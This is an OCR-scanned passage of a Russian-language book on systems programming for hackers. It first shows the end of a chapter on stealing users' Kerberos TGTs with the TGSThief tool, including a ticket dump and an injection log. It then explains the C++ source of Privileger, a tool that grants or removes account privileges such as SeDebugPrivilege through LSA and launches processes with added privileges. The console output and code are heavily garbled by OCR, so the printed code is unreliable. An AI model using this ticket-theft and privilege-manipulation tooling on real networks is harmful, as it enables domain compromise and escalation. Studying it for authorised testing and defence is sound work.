Hindo1,J H~nage,·\DHN · 1 [!j Iпde)(; 11, logon ID: 00289( 38, U<:.ePname: CRHJG[ \petka [!j I11dec 1)' log on 10 : 00000 .Н ~, Usef'name: 1-11 AUHIORIТY\lOCAL SERV!Cf [!j I11J~ :c 14, logo11 JD: 002862[)4, Use,·name: l-lindo1,J Han.1ge1•\DHH -2 [!j I1 нJ e :c 15, t.ogo11 ID: 00082989, U-:.er·name: CRlrJbl \ LK01$ [!] Iп d e·<: 16, l_ogor1 JD: 0000дЬl8, Use r·name: \ [!j Ir1de;c 17, logon ! D: 00289(4(, User·name: CR[NGE\petka [!] Iпde:.< : 13, lot{OП ID: 00010DS9, Use,rna me: Hindot•J Hanager•\DHH [!J I1·1dex : 19, lugon ID: 000003[4, Ose,r·na me: CRlf.JGf \DC01$ [!j Index : 20, logor1 ID: 0008208.!, Userna n1e: CR !IJGE\DC01$ [ ) fnter index of logon session: 12 { ] Yol1°ve selected sessioп иith Logor1 ID : 002В9СЗ8 [ ] Logon Process Nanie: 2niQ78uG q7XsIRJ Jgy99BDUHcpбnD66Y•1CF1-JnjQdUR [ +] Сш·гепt luid: 00048ЗF9 { +] LsaRegisterlogonPPocess Success . Lsa Handle: 000002198E00DFF0 [ +] Kerbe,·os Package: 2 f )1 l=nti:>1• C:::.DN· krЬtgt/c1·inge . ]аЬ L+ J ~"'•'1 ~,·Utg_t/(t:inge . lab Valida ted [ + j lSA Handle, АР, lUID are valid [ +] Ask ing fог TGS Success ,[ +] Т ic ket: doIEBDCCBOygAw!BBaEDAgEl-looID/ j CCA/phggP 2Ш !D8qADAgE FoQwbCkN5SUSHRSSI-IQUKiHzAdoAHCAQKhf jAUG1-1Zrc rnJ0Z3QbCkN! Е hH ZrnC dvt I / kvXcVNXI-JGzOUT 3n rl 3aohZU0H7Xw4 UI-I/ / Ь / h l rnx FUniz nvSdGu 5 J] 1чF J I F phXHd S0xqrhynD4dl-\L i Рее f brnl В i 5+0 l Yf•IC CQNQHJВ Е npk n~ /•14 2 f 3 v +rnA 1 bhF k +Ох s Е l-rn4XllYUYk с vx t v j 08ТЬ t hh,шwz Се/ с l0E КУрС 6s Е hPRuGvIO С r8SHE GQwTbbGpRB85wVNa4AZnq 7уА Trnkyz 5 ♦ Ua ub80,,t быG, Н i z DE4aH 3o,sOzevBQ l 950AUBhz К0х 9 / 1N/ Х Т9 svнrп 4 9 s+dveYE gба9Ш еЕ Q7 sk FВ]/ w+ev! 4hVfla+qPf 1-\mf r / f vwt +0tP I f 5 t I Sa jOs t CgQN 1rnB 2 / О ыq xqQy I I оу Е Gk L 5 3 Т gB lqrp l SxNDVT s f008/ wТ lq Z ♦ 1 j / бk/ QP I К w+8RQabi Nf С l-lni 7ughgDZ 4qDHkf 81-10BRJ xf j SrrnpRrnj +f P4H sSF ,, aSRF 2POF egQi} do84 f bnnX/ 0YbrDk у2 qF ZGa bc Z j SYwhenC 1k02 3 i 4 t 7 Zuc Т 5/ d9vs z б] у t ♦ 58R 13 5 L20ZOmXKrnks ko 7550+ Yxl-lyEQt SE l-lxUdC s 9qE 1 bkH/ KurE 34 v !У, bXCA/kf / 4AP3yAE Z84Prn/8gK 7 2G5KRCRnsgi vKSPICpdtbr lydrHi] YHXЗH0n25kn/ zomUT a9kPuzGUquHl-lw2 l 7aNPX5wvQQAVjCTCkOSs 18qhwHwJ f, Е UvtUl•JXc Z +k 2/VT с 4 rUa Т ♦ х j l·JAe zHl-lowl-lLeOPw 7Т fXb( sc а 1 aYonHUkw 1dHbQ9sPl-lqNo9e J uSGusHQP9] 2уСvб 7kE fQnpvUo4Hdf-1I HaoAHCAQC i gd ! Е 5 i Т F SoyG t SihDB sKQl J J Т kdf l kxBQq I5HBC gAw! ВАаЕ Jflдc ЬВХВ ldG thowc DBQBA4QAApREYDz I wflj 1-\хНТ Е 41-1TQyNzl-lyHqYRGA8yflD I zНТЕхОТ д,.,f•lj с 0Z 3QbCkNSSUSHRSSHQUI = '[?] Inject Ticket? (Y/N) !У 1[ +] Injected 1[ +] 5uccess :z: \Share>klist !текущиr,, идентификатороr-, входа является 0: 0x483f9 1 iкэшированные билеты: ;110> 1 клиент: Сервер: (1) petka @ CRINGE. LAB krЬtgt/CRINGE. lAB @ CRINGE . lAB Тип шифрования KerЫicket: флаги б илета 0х40е10000 -> AE5-256-CТS-Hf•1AC-SHA1 -96 forwardaЬle renewaЫe Рис. 5.8. initial pre authent name ca.nonicalize Получение ТGТ-билета
Часть 92 11. Системное программирование для хакеров К такому выводу я пришел, когда писал дампер билетов (он описан в главе казать проще простого: вновь запускаем krbtgt/ cringe. lab (рис. TGSThief, 9). До­ только в этот раз указываем 5.8). Бинго! Мы можем запрашивать чужие билеты TGT! Таким образом, если при пен­ тесте удалось захватить какой-тQ хост, куда ходят пользователи, то, используя TGSThief, получится раздобыть и TGT этих пользователей. Причем билеты TGT будут абсолютно свежие, новые, только что запрошенные. Заключение Теперь вы знаете, как злоупотреблять сессиями пользователей по-новому. Эта атака в очередной раз подтверждает, что на системы нельзя ходить от лица администра­ тора домена. В противном случае атакующий сможет захватить всю сеть в считан­ ные минуты.
ГЛАВА 6 Управляем привилегиями в Windows Привилегии в Windows играют очень важную роль, т. к. администратор имеет воз­ можность предоставить специальные права пользователям для решения их задач. В этой главе мы познакомимся с инструментом Privileger, который позволяет оты­ скивать в системе учетные записи с определенными привилегиями и менять приви­ легии у заданного аккаунта. О работе с привилегиями я писал в главе 4, но мы рассмотрели лишь обрывки кода, которые, как оказалось, сложно было превратить в полноценный проект. Поэтому, когда на очередном пентесте мне вновь потребовалось кодить все с нуля, я понял, что без готового инструмента не обойтись. И сделал Privileger (https://github.com/ МzНmO/Privileger), который, к моему удивлению, стал достаточно популярным. В этой главе мы разберем принцип работы этого инструмента, а также пробежимся по всем пяти режимам, которые позволяют: □ добавить привилегии локальному аккаунту с помощью вызова лишь одной функции. Раньше это можно бьшо сделать только через GPO и, если мне не из­ меняет память, еще требовалась перезагрузка хоста, что не очень удобно; □ запустить процесс, добавив в его токен конкретную привилегию; □ удалить привилегию у аккаунта. Опять же раньше это выполнялось с помощью GPO - сейчас используется вызов функции; □ обнаружить аккаунт с нужной привилегией на какой-нибудь машине; □ обнаружить привилегии у аккаунта на какой-нибудь машине. Добавляем привилегии аккаунту Итак, все, как и в любом другом проекте на языке С, начинается с функции main (), в которую прилетают все нужные параметры. После чего для обеспечения коррект­ ного вывода кириллических (и иных) символов дергаем setlocale (), выводим пре­ красный АSСII-баннер и приступаем к валидации входных данных.
94 Часть 11. == О) Системное программирование для хакеров int wmain(int argc, wchar_t* argv[]) { setlocale {LC_ALL, '"'); ShowAwesomeBanner(); DWORD dwRC = О, dwV = О; if (argc != 4) ShowHelp(); return О; switch {*argv[l]) { case '1': if (ValidateAccinfo(argv[2], dwRC = InitModel{argv[2], argv[З]) { argv[З]); break; case '2' : if (ValidatePathinfo(argv[2], dwRC = InitMode2(argv[2], О) argv[З]) ( argv[З]); break; case '3': if {ValidateAccinfo(argv[2], dwRC = InitMode3(argv[2], argv[З]) == 0) argv[З]); break; case '4': if (ValidatePriv(argv[З])) dwRC = InitMode4(argv[2], argv[З]); else { std::wcout « L"[-] ValidatePriv() Failed" « std::endl; break; case '5': std: :wcout « L" [ 1] I 'm not аЫе to validate username and the correct data." « std::endl; Sleep{S00); std: :wcout « L" [ ! ] Starting" « std:: endl; if (InitModeS (argv[2], argv[З]) != О) ( std::wcout « L"[-] InitMode 5 Error" « std::endl; break; default: std::wcout « L"[-] No such mode" « std::endl; РС name. Make sure you enter
Глава б. Управляем привилегиями в return Windows 95 О; return dwRC; Если требуется использовать первый режим работы, т. е. добавить привилегии ак­ каунту, пользователь должен предоставить следующие входные данные: □ 1- режим работы; □ имя пользователя - кому навешивать привилегию; □ программное имя привилегии Программное имя привилегии ваемое дружественное имя SeDebugPrivilege, Итак, обращаемся к это само имя привилегии. Есть еще так назы­ - это - а дружественное какую привилегию добавлять. - - ее описание. Например, программное имя Отладка программ. Privileger (рис. 6.1 ) . . \ Privilegerx64.exe 1 Michael SeDebugPrivil ege PS C:\Useгs\Michael\Downloads> 1 Michael SeDebugPrivilege .\Privilegerxбll.exe 1 -- \ (_) (_) 1 1 1__ ) 1 ___ 1 1 1 ___ / •__ 1 \ \ / / 1 1/ _ \/ _' 1/ _ \ , __ 1 1 1 1 1 1 I\ v /1 1 1 __; CI 1 __; 1 I_I I_I I_I \_! I_I_I\ ___ I\ __ , l\ ___ 1_1 __/ 1 1__ / V 1.2 https://github . com/MzHmO [+] User Michael found (+] Privilege SeDebugPrivilege Found [+] Validation Success (+] ValidateAccinfo() success [+] Initializing mode 1 [+] Target Account: Michael [+] Privilege : SeDebugPrivilege [+] ComputerName: WINPC [+] LsaOpenPolicy() Success [+] User SID: S-1-5-21-7181671181-5179Ч1511-111720Ц786-1002 [+] Adding SeDebugPrivilege Success (+] Enu~erating Current Privs Programmatic name : SelockMemoryPrivilege Display Name: Блокировка стран,щ в памяти Programmatic пате: SeSecurityPrivilege Display Nanie : Управление аудитом и журналом Prograпmatic безопасности name: SeDebugPrivilege Display Nanie: Отладка nрогра.,м Рис. 6.1. Успешное добавление привилегии Я предусмотрел проверку на валидность имени пользователя, а также имени при­ вилегии, чтобы предотвратить «очепятки» (рис. функцией ValidateAcci nfo (), граммное имя привилегии. которая 6.2, 6.3). принимает имя Проверка реализуется пользователя , а также про­
Часть 96 PS C:\Users \Mi:chael \ Downloads> - Системное программирование для хакеров .\Privilegerx6Ц.exe l Michael SeDebug (_) 1 (_) -- \ //_ --- 1 1 --- -- _ 1 1__ ) 1 1 __ _/ '--1 \ \ / / 1 1/ _ \/ _' I / _ \ '--1 1 1 1 1 1 1\ V / 1 1 1 __/ (_ 1 1 __/ 1 1_1 1_1 1_1 \_/ 1_1_1\ --- 1\ __ , 1\ ___ 1_1 __ / 1 1__ _/ V 1. 2 https: / /github . com/MzHmO [+) User Michael found [-) Privil ege SeDebug may Ье incorrect [-) ValidateAcclnfo() failed PS C:\Users\Michael\Downloads> Рис. 6.2. Указание неверного имени привилегии PS C:\Users\Michael\Downloads> - \ - . \Privilegerx6Ц,exe 1 Miael SeDebugPr~vilege (_) 1 (_) ___ 1 1 --- -- - --- - -1 , __ ) 1 1 ___ / , __ , \ \ / / 1 1/ _ \/' _' 1/ _ \ , __ 1 1 1 1 1 1 1\ V / 1 1 1 __/ (_ 1 1 __/ 1 ,_1 ,_1 \_/ ,_, _,, ___ ,, __ , ,, ___ 1_1 ,_, __/ 1 , __ _/ [-) Username may Ье V 1.2 https : //github . com/MzHmO incorrect . LookupдccountName() Err: 1332 Рис. 6.3. Неверное имя пользователя DWORD ValidateAcclnfo(wchar_t* cAccName, wchar t* cPrivName) { // validating username DWORD sid_size = О; PSID UserSid; LPТSTR wSidStr = NULL; DWORD domain size = О; SID- NАМЕ- USE sid- use; DWORD wow = LookupAccountName(NULL, cAccName, NULL, &sid_size, NULL, &domain size, &sid_use); DWORD dw = GetLastError(); if ( (wow == О) && ( (dw = 122) 11 (dw = О))) { std::wcout « L"[+] User" « cAccName « L" found" « std::endl; // validating Privilege name if ( !ValidatePriv(cPrivName)) std: :wcout « L" [-] ValidateAcclnfo () failed" « std: :endl; return 1;
Глава 6. Управляем привилегиями в 97 Windows else { std::wcout << L"[+] ValidateAccinfo{) success" << std::endl; return О; else std: : wcout « L" [- ] Usernarne may Ье incorrect. LookupAccountNarne {) Err: " « dw « std: :endl; return 1; return 1; Проверку имени пользователя я реализовал с помощью функции LookupAccountNarne () (https://leam.microsoft.com/en-us/windows/win32/api/winbase/nf-winbaselookupaccountnamea). Сама по себе она служит для получения SID (security identifier) пользователя по его имени, но нам ничто не мешает использовать ее про­ сто для проверки имени пользователя, ведь если компьютер не обнаружит пользо­ вателя с таким именем, то и вызов функции приведет к ошибке. Проверку программного имени привилегии я также вынес в отдельную функцию. ValidatePriv(wchar t* cPrivNarne) { LUID luid; if (!LookupPrivilegeValue(NULL, cPrivNarne, &luid)) { std: :wcout « L"[-] Privilege" << cPrivNarne << L" may return FALSE; В001 Ье incorrect" « std::endl; else { std::wcout « L"[+] Privilege" « cPrivNarne « L" Found \n[+] Validation Success" « std: :endl; return TRUE; Здесь алгоритм схож: дергаем LookupPrivilegeValue () (https://learn.microsoft.com/enus/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea), если привилегия есть - все окей, если нет - ошибка. Убедившись, что предоставленные данные верны, инструмент вызывает InitModel (), которому также передает имя пользователя и имя привилегии. Внутри этой функ­ ции мы получаем хендл на LSA текущего компьютера (т. к. работаем с привиле­ гиями локального аккаунта) вызовом функции Getpolicy (). DWORD InitModel(wchar_t* cAccNarne, wchar_t* cPrivNarne) { std::wcout « L"[+] Initializing mode 1 \n [+] Target Account: "« cAccNarne « "\n [+] Privilege: " « cPrivNarne « std: :endl; LSA_НANDLE hPolicy; if (Getpolicy(&hPolicy) != О) { std: :wcout « L" [-] GetPolicy{) Error: " « std.: :endl;
Часть 98 11. Системное программирование для хакеров return 1; AddUserPrivilege(hPolicy, cAccName, cPrivName, TRUE); return О; DWORD GetPolicy(PLSA_НANDLE LsaHandle) { ( о ); wchar_t cCompName[МAX_COMPUTERNAМE_LENGTH + 1] DWORD size = sizeof{cCompName); if (GetComputerNameW(cCompName, &size)) std::wcout « L" [+] ComputerName: "«·ccompName « std::endl; else { std: :wcout « L" [-] GetComputerNameW Error: " « GetLastError() « std: :endl; LSA_OBJECT_ATTRIBUTES lsaOA = { О }; LSA_UNICODE_STRING lsastrComputer = { О }; lsaOA.Length = sizeof(lsaOA); lsastrComputer. Length = (USHORT) (lstrlen (cCompName) * sizeof (WCНAR)}; lsastrComputer.MaximumLength = lsastrComputer.Length + sizeof(WCНAR}; lsastrComputer.Buffer = {PWSTR)&cCompName; NTSTATUS ntStatus = LsaOpenPolicy{&lsastrComputer, &lsaOA, POLICY_ALL_ACCESS, LsaHandle); ULONG lErr = LsaNtStatusToWinError(ntStatus); if (lErr != ERROR_SUCCESS) { std: :wcout « L" [-] LsaOpenPolicy() Error: " « lErr « std: :endl; return 1; else { std: :wcout « L" [+] LsaOpenPolicy{) Success" « std: :endl; return О; return 1; Получают хендл .на политику через функцию LsaopenPolicy (https:/Лearn. microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaopenpolicy). Един­ ственная особенность работы с LSA состоит в том, что у нее свои коды ошибок, которые просто через GetLastError () не поймать. Нужно получать значение NTSTAТUS, которое возвращает каждая функция, работающая с LSA, а затем передавать это значение в LsaNtStatusToWinError () для преобразования в понятный человеческому глазу код ошибки. По коду ошибки можно понять, что сломалось, документацию codes--0-499-). - заглядывайте в официальную (https:/Лearn.microsoft.com/ru-ru/windows/win32/debug/system-error­
Глава 6. Управляем привилегиями в 99 Windows Если система выдала нам корректный хендл и мы не получили ERROR_ACCESS _DENIED, переходим к навешиванию привилегии пользователю, к функции AddUserPrivilege (). DWORD AddUserPrivilege(LSA_НANDLE hPolicy, LPWSTR wUsername, LPWSTR wPrivName, ВOO1 bEnaЬle) { PSID UserSid; DWORD sid size = О; LPTSTR wSidStr = NULL; DWORD domain size = О; SID_NAМE_USE sid_use; if (!LookupAccountName(NULL, wUsername, NULL, &sid_size, NULL, &domain_size, &sid_use)) ( UserSid = {PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE I МЕМ_СОММIТ, PAGE_READWRITE); LPTSTR domain = NULL; domain = (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof{WCНAR), MEM_RESERVE MEM_COMMIT, PAGE_READWRITE); LookupAccountName(NULL, wUsername, UserSid, &sid_size, domain, &domain_size, &sid_use); VirtualFree(domain, О, MEM_RELEASE); ConvertSidToStringSid{UserSid, &wSidStr); std::wcout « L" [+] User SID: "« wSidStr « std::endl; LSA_UNICODE_STRING lsastrPrivs[l] = ( О ); lsastrPrivs[0] .Buffer = {PWSTR)wPrivName; lsastrPrivs[0] .Length = lstrlen{lsastrPrivs[0] .Buffer) * sizeof(WCНAR); lsastrPrivs[0] .MaximumLength = lsastrPrivs[0] .Length + sizeof(WCНAR); if (ЬЕnаЫе) ( NTSTATUS ntStatus = LsaAddAccountRights(hPolicy, UserSid, lsastrPrivs, 1); ULONG lErr = LsaNtStatusToWinError(ntStatus); if (lErr == ERROR_SUCCESS) ( std::wcout « L" [+] Adding" « wPrivName « L" Success" « std::endl; std: :wcout « L" [+] Enumerating Current Privs" « std: :endl; PrintTrusteePrivs(hPolicy, UserSid); VirtualFree(UserSid, О, MEM_RELEASE); return О; else { wprintf{L" [-] Error LsaAddAccountRights() %d", lErr); return 1; else ( ULONG lErr = LsaRemoveAccountRights(hPolicy, UserSid, FALSE, lsastrPrivs, 1); if (lErr == ERROR_SUCCESS) ( std::wcout « L" [-] Removing" « wPrivName « L" Success" << std::endl; std::wcout « L" [+] Enumerating Current Privs" « std::endl; PrintTrusteePrivs(hPolicy, UserSid);
Часть 100 VirtualFree(UserSid, return О; О, 11. Системное программирование для хакеров МEМ_RELEASE); else ( wprintf(L" [-] Error LsaRernoveAccountRights() %d", lErr); return 1; else std: :wcout « L" [-] LookupAccountName () Error: " « GetLastError () « std: :endl; return 1; return 1; Добавление привилегий пользователю происходит в несколько этапов. 1. Обнаружение по имени пользователя его 2. Генерация LSA_UNICODE _STRING (https://learn.microsoft.com/en-us/windows/win32/ api/lsalookup/ns-lsalookup-lsa_ unicode_string) с именем привилегии, которую SID. нужно добавить. 3. Вызов LsaAddAccountRights () 4. Проверка успешности добавления привилегии. (https://learn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsaaddaccountrights). Обнаружить функции SID пользователя по его имени можно с помощью упомянутой (https://learn.microsoft.com/en-us/windows/win32/api/ winbase/nf-winbase-lookupaccountnamea). Ее особенность заключается в том, что если в качестве буфера, куда должен упасть SID, передавать NULL, то функция просто вернет требуемый размер буфера под размещение в нем SID. Получаем раз­ мер, затем вьщеляем память под буфер и получаем SID. LookupAccountName () if (!LookupAccountName(NULL, wUsername, NULL, &sid_size, NULL, &domain_size, &sid_use)) { UserSid = (PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE MEM_COMMIT, PAGE_READWRITE); LPTSTR domain = NULL; domain ~ (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof(WCНAR), MEM_RESERVE МЕМ_СОММIТ, PAGE READWRITE); LookupAccountName(NULL, wUsername, UserSid, &sid_size, domain, &domain_size, &sid use); VirtualFree(domain, О, MEM_RELEASE); ConvertSidToStringSid(UserSid, &wSidStr); std::wcout « L" [+] User SID: "« wSidStr « std::endl; I I Для преобразования структуры SID в строку, содержащую SID, можно вызвать (https://learn.microsoft.com/en-us/windows/win32/api/sddl/nfsddl-convertsidtostringsida ). convertSidToStringSid 1) Имя привилегии должно быть записано в структуру LSA_ UNICODE _STRING, выглядит вот так.
Глава 6. Управляем привилегиями в Windows 101 typedef struct _LSA_UNICODE_STRING USHORT Length; USHORT MaximшnLength; PWSTR Buffer; LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; Можно, например, заполнять структуру ручками, как сделал я в проекте, либо ис­ пользовать отдельную функцию, как в моем инструменте для инжекта тикетов Kerberos (https://github.com/МzНmO/articles/ЫoЬ/mainfficket%20Injector/Source.cpp#L 7). LSA_UNICODE_STRING lsastrPrivs[l] = { О 1; lsastrPrivs[0] .Buffer = (PWSTR)wPrivName; lsastrPrivs[0] .Length = lstrlen(lsastrPrivs[0] .Buffer) * sizeof(WCНAR); lsastrPrivs[0] .MaximшnLength = lsastrPrivs[0] .Length + sizeof(WCНARI; Наконец, вызываем функцию LsaAddAccountRights (1 (https://learn.microsoft.com/en-us/ windows/win32/api/ntsecapi/nf-ntsecapi-lsaaddaccountrights). if (ЬЕnаЫе) { NTSTATUS ntStatus = LsaAddAccountRights(hPolicy, UserSid, lsastrPrivs, 1); ULONG lErr = LsaNtStatusToWinError(ntStatus); if (lErr == ERROR_SUCCESSI { std::wcout « L" [+] Adding "« wPrivName « L" Success" « std::endl; std: :wcciut « L" [+] Enumerating Current Privs" « std: :endl; PrintTrusteePrivs(hPolicy, UserSid); VirtualFree(UserSid, О, МЕМ RELEASE); return О; else { wprintf(L" [-] Error LsaAddAccountRights() %d", lErr); return 1; Условие if (ЬЕnаЫе I позволит использовать функцию AddUserPri vilege () не только для добавления, но и для удаления привилегий из аккаунта ( эту операцию мы рассмот­ рим чуть позже). Сама функция по добавлению привилегии особо ничего не требу­ ет - хендл LSA, SID пользователя, имя привилегии, которые мы ей и передаем. Если привилегия успешно добавлена, дергаем PrintTrusteePri vs (1 - очередную функцию, которая выведет все привилегии, назначенные конкретному аккаунту. DWORD PrintTrusteePrivs(LSA_НANDLE hPolicy, PSID psid) { BOCL fSuccess = FALSE; WCНAR szTempPrivBuf[256]; WCНAR szPrivDispBuf[l024]; PLSA_UNICODE_STRING plsastrPrivs = NULL; ~try ( ULONG lCount = О; NTSTATUS ntStatus = LsaEnumerateAccountRights(hPolicy, psid, &plsastrPrivs, &lCount);
Часть 102 11. Системное программирование для хакеров ULONG lErr = LsaNtStatusToWinError(ntStatus); if (lErr 1= ERROR SUCCESS) plsastrPrivs = NULL; leave; ULONG lDispLen = О; ULONG lDispLang = О; for (ULONG llndex = О; lindex < lCount; llndex++) ( lstrcpyn(szTempPrivBuf, plsastrPrivs[lindex] .Buffer, plsastrPrivs[lindex] .Length); szTempPrivBuf[plsastrPrivs[lindex] .Length) = О; wprintf(L"\tProgrammatic name: 'cs\n", szTempPrivBuf); lDispLen = 1024; if (LookupPrivilegeDisplayNameW(NULL, szTempPrivBuf, szPrivDispBuf, &lDispLen, &lDispLang) 1 wprintf(L"\tDisplay Name: %ws\n\n", szPrivDispBuf); fSuccess = TRUE; finally ( if (plsastrPrivs) LsaFreeMemory(plsastrPrivs); return (fSuccess); Здесь с помощью функции LsaEnumerateAccountRights 11 (https:/Лearn.microsoft.com/en­ us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumerateaccountrights) мы получа­ ем количество привилегий пользователя, а в буфер PLSA_UNICODE_STRING упадут их имена. После чего в цикле просто парсим их, дополнительно получая дружествен­ ные имена с помощью LookupPri vilegeDisplayNamew 11 (https://learn.microsoft.com/enus/windows/win32/api/winbase/nf-winbase-lookupprivilegedisplaynamew). В принципе, вот так работает добавление привилегий аккаунту. Запускаем процесс с привилегией Особенностью второго режима работы можно считать то, что нам придется прове­ рять не только имя привилегии, но и путь, чтобы на каком-нибудь пентесте в самый разгар работ не вывалилось веселое исключение. Проверку этих данных я реализо­ вал в функции ValidatePathinfo 1). DWORD ValidatePathinfo(wchar_t* Path, wchar_t* cPrivName) ( В001 bPathEx = PathFileExistsW(Path); if (bPathEx) ( std: :wcout << L"[+) " << Path << L" Found" << std: :endl; if ( 1ValidatePriv(cPrivName)) { std: :wcout « L" [-) ValidatePathinfo() success" « std: :endl;
Глава б. Управляем привилегиями в 103 Windows return 1; else { std: :wcout « L" [+] ValidatePathlnfo () success" « std:: endl; return О; return О; else { std::wcout « L"[-] "« Path « L" not found" « std::endl; return 1; return 1; Проверить путь (т. е. убедиться, что файл, к которому пользователь указал путь, существует) удобнее всего с помощью PathFileExists (https://learn.microsoft.com/enus/windows/win32/api/shlwapi/nf-shlwapi-pathfileexistsa). Функция работает проще некуда: вернет TRUE, если путь существует, FALSE - если нет. Убедившись К в корректности предоставленных данных, програм;ма переходит InitMode2 (): DWORD InitMode2(wchar_t* cPath, wchar_t* cPrivNarne) { std: :wcout « L" [+] Initializing rnode 2 \n [+] Path to Privilege: " « cPrivNarne « std: :endl; ехе: " « cPath « "\n [+] IrnpersonateSelf(Securitylrnpersonation); hToken = NULL; OpenThreadToken(GetCurrentThread(), TOКEN_ALL_ACCESS, FALSE, &hToken); DWORD dw = : :GetLastError(); if (dw != О) { std: :wcout « L" [ 1 ] Error OpenThreadToken () : " « dw « std: : endl; return 1; НANDLE if (EnaЬleTokenPrivilege(hToken, cPrivNarne, TRUE) == О) std: :wcout « L" [+] EnaЫeTokenPrivilege() success" « std: :endl; STARTUPINFO startuplnfo; ZeroMernory(&startuplnfo, sizeof(STARTUPINFO) ); PROCESS_INFORМATION processlnforrnation; ZeroMernory(&processlnforrnation, sizeof(PROCESS INFORМATION)); startuplnfo.cb = sizeof(STARTUPINFO); CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, cPath, О, NULL, NULL, &startuplnfo, &processlnforrnation); DWORD dw = : :GetLastError(); if (dw 1= О) { std::wcout « 1"[ 1 ] Error CreateProcessWithTokenW(): "« dw « std::endl; return 1;
Часть 104 11. Системное программирование для хакеров else ( std:: wcout return « L" [ +) CreateProcess:qi thTokenW () success" « std:: endl; О; else std::wcout « L" [-] EnaЫeTokenPrivilege() failed" « std::endl; return 1; return О; Процесс можно разделить на несколько этапов: l. Привязка текущего токена процесса к токену текущего потока. 2. Получение хендла на этот токен. 3. Добавление привилеги11 в токен. 4. Старт процесса с измененным токеном. Итак, первые два шага достаточно простые. Нацепить токен процесса на токен те­ кущего потока можно с помощью ImpersonateSelf 11 (https:/Лearn.microsoft.com/en-us/ windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateselt), затем лучаем хендл на него через по­ OpenThreadToken ( 1 (https:/Лearn.microsoft.com/en-us/ windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken). И вновь используется отдельная функция для добавления привилегии. Мне нравится подоб­ ная модульность, потому что можно взять функцию из одного проекта и просто скопировать ее в другой. DWORD EnaЬleTokenPrivilege(НANDLE TOКEN_PRIVILEGES hToken, LPTSTR szPriv, В001 bEnaЬled) ( tp; LlJID luid; i f ( 1 LookupPrivilegeValue (NlJLL, szPriv, &luid)) std: :wcout « [ L" [-) LookupPrivilegeValue() Error: " « GetLastError() « std: :endl; return 1; tp.PrivilegeCount = 1; tp.Privileges[0] .Luid = luid; tp.Pr1vileges[0] .Attributes = bEnaЫed? SE_PRIVILEGE_ENAВLED : О; i f ( 1 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NlJLL, NlJLL)) ( std::wcout « L"[-] AdjustTokenPrivileges() Error: "« GetLastError() « std::endl; return 1; return О; Сначала заводим специальную структуру, в которую занесем LUID - LUID это некая интерпретация привилегии в системе, по которой привилегии. Windows по-
Глава б. Управляем привилегиями в нимает, что за привилегия 105 Windows перед ней . Получить LUID можно с помощью LookupPri vilegeValue () (https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf- winbase-lookupprivilegevaluea). Для добавления привилегии в токен передаем соз­ данную структуру в функцию AdjustTokenPri vileges (https://learn.microsoft.com/en-us/ windows/win3 2/а pi/secu rity basea pi/n f-secu rity basea pi-ad j usttoken р rivileges). При­ чем в нее можно передать сразу несколько привилегий . Например , чтобы сразу до­ бавить SeDebugPrivilege и Se imper sonatePrivi l ege, но в нашем случае этого не требуется . После чего поток управления возвращается в функцию I ni t Mode2 (), в которой мы вызываем функцию CreateP r ocessWi thToken () (https://learn.microsoft.com/en-us/ позволяющую windows/win32/api/winbase/nf-winbase-createprocessw ithtokenw), создать процесс с токеном, куда мы добавили привилегии (рис . 6.4) . . \ Privi l eger x64.exe 2 C:\Windows\System32\cmd.exe SeDebugPr i vilege Рис . 6.4. Успешный запуск процесса с нужными привилегиями Удаляем привилегию из аккаунта Иногда может потребоваться и обратный сценарий - нужно удалить привилегию из аккаунта. Начало стандартное, такое же, как и в первом режиме работы . То есть мы просто проверяем имя пользователя и привилегию на валидность. Далее полу­ чаем хендл на политику LSA текущего компьютера и дергаем AddUserPri vi l ege (). Помните эту функцию? DWORD AddUse r P r ivi l ege( LSA_НANDL E hPol i cy , LPWSTR wUsername , LPWSTR wPri vName, BOOL ЬЕnаЫе) Последним параметром мы можем передать FALSE, что приведет к срабатыванию следующего условия . el se ( ULONG l Err = LsaRemoveAccountRights(hPol icy , UserSid , FALSE , l sast r Pr ivs , 1) ; if (lErr == ERROR_SUCCESS) ( std:: wcout << L" [- ] Removing " << wPrivName << L" Success " « std::endl;
Часть 106 11. Системное программирование для хакеров std: :wcout « L" [+] Enumerating Current Privs" « std: :endl; PrintTrusteePrivs(h?olicy, UserSid); VirtualFree(UserSid, О, МЕМ RELEASE); return О; else { wprintf(L" [-] Error LsaRemoveAccountRights() %d", lErr); return 1; Как следствие, привилегия будет снята с указанного аккаунта с помощью вызова функции LsaRemoveAccountRights (https:/Лearn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsaremoveaccountrights ). Потом мы дергаем PrintTrusteePri vs (), что позволяет вывести новый список привилегий пользователя (рис. 6.5) . . \Privilegerx64.exe 3 Michael SeDebugPrivilege PS C:\Users\Michael\Downloads> .\Privitegerxбll.exe 3 Michael SeDebugPrivilege -- \ (_) (_) 1 1__ ) 1 --- 1 1 --- -- _ --- _ -1 ___ / '--1 \ \ / / 1 1/ _ \/ _' 1/ _ \ , __ 1 1 1 1 1 1 I\ v /1 1 1 __ / (_I 1 __ / 1 1_1 1_1 1_1 \ _/ 1_1_1, ___ 1, __ , 1, ___ 1_1 __/ 1 1___ / V 1.2 https://github.com/MzHmO [+] User Michael found [+] Privilege SeDebugPrivilege Found [+] Validation Success [+] VatidateAccinfo() success [+] Initializing mode З [+] Target Account: Michael [+] Privilege: SeDebugPrivilege [+] ComputerName: WINPC [+] LsaOpenPolicy() Success [+] User SID: S-1-5-21-718167Ц81-5179Ц1511-111720Ц786-1002 [-] Removing SeDebugPrivilege Success [+] Enumerating Current Privs Programmatic name: SelockMemoryPrivilege Display Name: Блокировка стран1щ в памяти Programmatic name: SeSecurityPrivilege Display Name: Уnравлен11е аудитом и журналом безопасности PS C:\Users\Michael\Downloads> 